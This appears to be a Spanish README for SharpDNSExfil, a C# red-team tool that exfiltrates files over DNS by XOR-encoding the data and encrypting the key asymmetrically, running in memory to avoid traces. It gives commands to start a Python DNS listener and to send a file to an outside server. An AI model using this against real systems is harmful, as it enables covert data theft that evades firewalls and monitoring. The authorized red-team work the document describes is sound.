
Herramienta en C# para exfiltrar archivos a través de DNS utilizando cifrado XOR y asimétrico, diseñada para operaciones de equipo rojo con conexiones salientes restringidas.
SharpDNSExfil es una herramienta de exfiltración escrita en C#. El objetivo principal es exfiltrar cualquier archivo "en disco" sin tener que preocuparse por conexiones salientes restringidas.
Obtuve RCE ciega durante mi engagement y resultó que la máquina remota tiene protección de firewall que no permite conexiones salientes y me dificultó obtener una conexión inversa. Lo bueno es que el servidor DNS puede resolver dominios públicos y es capaz de alcanzarme a través de DNS. El problema es que aún no podía obtener una shell inversa, podía leer algunas salidas pequeñas, pero no era suficiente. Así que tuve la idea de automatizar el proceso solo a través de DNS y recorrer todos los pasos, ¡y finalmente funciona!
ADVERTENCIA: Todo el proceso solo se ha probado a través de un servidor DNS público personalizado, pero no se ha probado completamente en un entorno corporativo real. ¡Así que úsalo bajo tu propio riesgo!
Todos los bytes exfiltrados se XORean con una clave generada aleatoriamente. Podrías pensar que la clave estará entonces en texto plano a nivel de red (wireshark servirá). Con la opción --encrypt, aquí es donde entra en juego el cifrado asimétrico: una clave pública codificada cifrará la clave XOR. La máquina local (tú) esperará una forma cifrada de la clave, y el script de Python descifrará automáticamente la clave con su clave privada codificada. El resto de los datos transmitidos se XORearán de vuelta a sus bytes originales. Por lo tanto, siempre cambia los pares de clave, por favor
| Antes del cifrado | Después del cifrado |
|---|---|
![]() | ![]() |
dnsserver.py. Las opciones son las siguientespython3 dnserver.py --udp --port 53 --host 192.168.0.102
SharpDNSExfil.exe --file C:\path\to\file --server 192.168.0.102
Los pasos y procesos de SharpDNSExfil deben ejecutarse completamente en memoria sin tocar el disco para evitar dejar basura durante el engagement. SharpDNSExfil informará cada paso o proceso que realiza en segundo plano con la opción --verbose. Cada byte enviado está codificado con XOR y la clave se cifrará además con cifrado asimétrico para evitar que la clave esté en texto plano en el tráfico de red. Ten mucho cuidado y siempre toma notas y haz limpieza en la propiedad del cliente.